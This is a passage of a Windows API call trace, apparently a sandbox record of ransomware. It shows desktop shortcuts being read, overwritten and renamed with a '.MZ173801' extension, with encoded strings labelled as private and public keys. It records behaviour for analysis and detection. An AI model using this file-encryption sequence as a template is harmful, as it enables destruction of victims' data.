ftLastAccessTime.dwLowDateTime=0xe4c3ce2c, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe4c6308a, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x91a)) returned 1 [0184.347] GetFileAttributesW (lpFileName="C:\\Users\\Public\\Desktop\\Google Chrome.lnk" (normalized: "c:\\users\\public\\desktop\\google chrome.lnk")) returned 0x20 [0184.347] SetFileAttributesW (lpFileName="C:\\Users\\Public\\Desktop\\Google Chrome.lnk", dwFileAttributes=0x80) returned 1 [0184.350] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0184.350] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x321794c, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2417 [0184.351] GetCurrentThreadId () returned 0xab4 [0184.351] GetCurrentThreadId () returned 0xab4 [0184.351] GetCurrentThreadId () returned 0xab4 [0184.352] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0184.352] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x32289ac, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0184.352] GetCurrentThreadId () returned 0xab4 [0184.352] GetCurrentThreadId () returned 0xab4 [0184.352] GetCurrentThreadId () returned 0xab4 [0184.352] CreateFileW (lpFileName="C:\\Users\\Public\\Desktop\\Google Chrome.lnk" (normalized: "c:\\users\\public\\desktop\\google chrome.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f4 [0184.353] SetFilePointer (in: hFile=0x2f4, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa0c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa0c*=0) returned 0x0 [0184.353] SetFilePointer (in: hFile=0x2f4, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0184.353] SetFilePointer (in: hFile=0x2f4, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x91a [0184.353] SetFilePointer (in: hFile=0x2f4, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0184.353] ReadFile (in: hFile=0x2f4, lpBuffer=0x24a0010, nNumberOfBytesToRead=0x91a, lpNumberOfBytesRead=0x19fa18, lpOverlapped=0x0 | out: lpBuffer=0x24a0010*, lpNumberOfBytesRead=0x19fa18*=0x91a, lpOverlapped=0x0) returned 1 [0184.354] CloseHandle (hObject=0x2f4) returned 1 [0184.354] CreateFileW (lpFileName="C:\\Users\\Public\\Desktop\\Google Chrome.lnk" (normalized: "c:\\users\\public\\desktop\\google chrome.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f4 [0184.356] WriteFile (in: hFile=0x2f4, lpBuffer=0x24a2040*, nNumberOfBytesToWrite=0x91a, lpNumberOfBytesWritten=0x19fa24, lpOverlapped=0x0 | out: lpBuffer=0x24a2040*, lpNumberOfBytesWritten=0x19fa24*=0x91a, lpOverlapped=0x0) returned 1 [0184.357] CloseHandle (hObject=0x2f4) returned 1 [0184.357] MoveFileW (lpExistingFileName="C:\\Users\\Public\\Desktop\\Google Chrome.lnk" (normalized: "c:\\users\\public\\desktop\\google chrome.lnk"), lpNewFileName="C:\\Users\\Public\\Desktop\\Google Chrome.lnk.MZ173801" (normalized: "c:\\users\\public\\desktop\\google chrome.lnk.mz173801")) returned 1 [0184.358] GetCurrentThreadId () returned 0xab4 [0184.358] GetCurrentThreadId () returned 0xab4 [0184.358] GetCurrentThreadId () returned 0xab4 [0184.358] GetCurrentThreadId () returned 0xab4 [0184.358] GetCurrentThreadId () returned 0xab4 [0184.358] GetCurrentThreadId () returned 0xab4 [0184.358] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef84fc3f, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xef84fc3f, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xef84fc3f, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x3e7, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="Mozilla Firefox.lnk", cAlternateFileName="MOZILL~1.LNK")) returned 1 [0184.358] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0184.359] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0184.359] GetFileAttributesExW (in: lpFileName="C:\\Users\\Public\\Desktop\\Mozilla Firefox.lnk" (normalized: "c:\\users\\public\\desktop\\mozilla firefox.lnk"), fInfoLevelId=0x0, lpFileInformation=0x19fa58 | out: lpFileInformation=0x19fa58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef84fc3f, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xef84fc3f, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xef84fc3f, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x3e7)) returned 1 [0184.359] GetFileAttributesW (lpFileName="C:\\Users\\Public\\Desktop\\Mozilla Firefox.lnk" (normalized: "c:\\users\\public\\desktop\\mozilla firefox.lnk")) returned 0x20 [0184.359] SetFileAttributesW (lpFileName="C:\\Users\\Public\\Desktop\\Mozilla Firefox.lnk", dwFileAttributes=0x80) returned 1 [0184.361] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0184.361] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, 